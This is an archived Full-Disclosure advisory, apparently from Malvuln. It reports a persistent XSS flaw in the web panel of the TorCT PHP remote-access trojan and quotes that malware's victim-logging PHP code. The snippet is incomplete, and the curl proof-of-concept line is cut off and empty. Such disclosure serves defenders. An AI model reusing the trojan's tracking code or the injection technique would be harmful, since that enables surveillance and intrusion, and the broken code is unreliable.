lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 17 Mar 2022 13:08:01 -0400
From: malvuln <>
Subject: [FD] BuilderTorCTPHPRAT.b / Remote Persistent XSS

Discovery / credits: Malvuln - (c) 2022
Original source:

Threat: BuilderTorCTPHPRAT.b
Vulnerability: Remote Persistent XSS
Type: WebUI
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)
MD5: dc40fa699cfce01802213dbbd0cbe37e (SlaveOnline.php)
Vuln ID: MVID-2022-0520
Disclosure: 03/17/2022
Description: The TorCT client malwares web-panel allows unauthenticated
users to write data to the Slaves.txt file. There is no secure coding
practice or filtering of input or sanitization of output. Third-party
attackers who can reach the server can make HTTP Post requests writing
arbitrary JS code into the Slaves.txt file. The XSS payload will execute
client side code in the security context of the currently logged on user
anytime the WebUI is accessed. This can result in data modification, theft
or GEO location disclosure of the user accessing the TorCT WebUI.

"SlaveOnline.php" code snippet:

$fn= $_GET['online'];
$extrainfo = $_GET['info'];
$emptystring = "";

function visitor_country() {
        $ip = $_SERVER["REMOTE_ADDR"];
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        if(filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
                $ip = $_SERVER['HTTP_CLIENT_IP'];
        $derp = @json_decode(file_get_contents("" . $ip));
               $result1=$derp ->geoplugin_countryCode;
$result2=$derp ->geoplugin_countryName;
$result = "[".$result1."] - ".$result2;
        return $result;

$countryname = visitor_country();
if ($extrainfo == "") { $extrainfo = "||||";}
$extrainfo = $extrainfo."|||||";
$file = file_get_contents('./Slaves.txt', False);
$write = $countryname."|".$_SERVER['REMOTE_ADDR'] . "|" .$extrainfo. "+" ;
echo $file;


curl "

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) (TM).

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists